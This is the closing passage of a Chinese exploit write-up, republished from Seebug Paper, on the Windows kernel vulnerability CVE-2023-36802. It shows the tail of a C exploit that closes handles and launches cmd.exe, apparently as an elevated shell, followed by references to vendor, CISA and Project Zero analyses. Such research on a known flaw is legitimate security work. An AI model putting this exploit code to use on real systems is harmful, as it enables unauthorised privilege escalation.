    CloseHandle(hMainThread);
    CloseHandle(hSepThread);
    CloseHandle(hEvent);

    system("cmd.exe");

    return 0;
}

演示图片

img

  1. https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/
  2. https://www.cisa.gov/news-events/alerts/2023/09/12/cisa-adds-two-known-vulnerabilities-catalog
  3. https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html
  4. https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/blob/master/readme.md

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3082/



文章来源: https://paper.seebug.org/3082/
如有侵权请联系:admin#unsafe.sh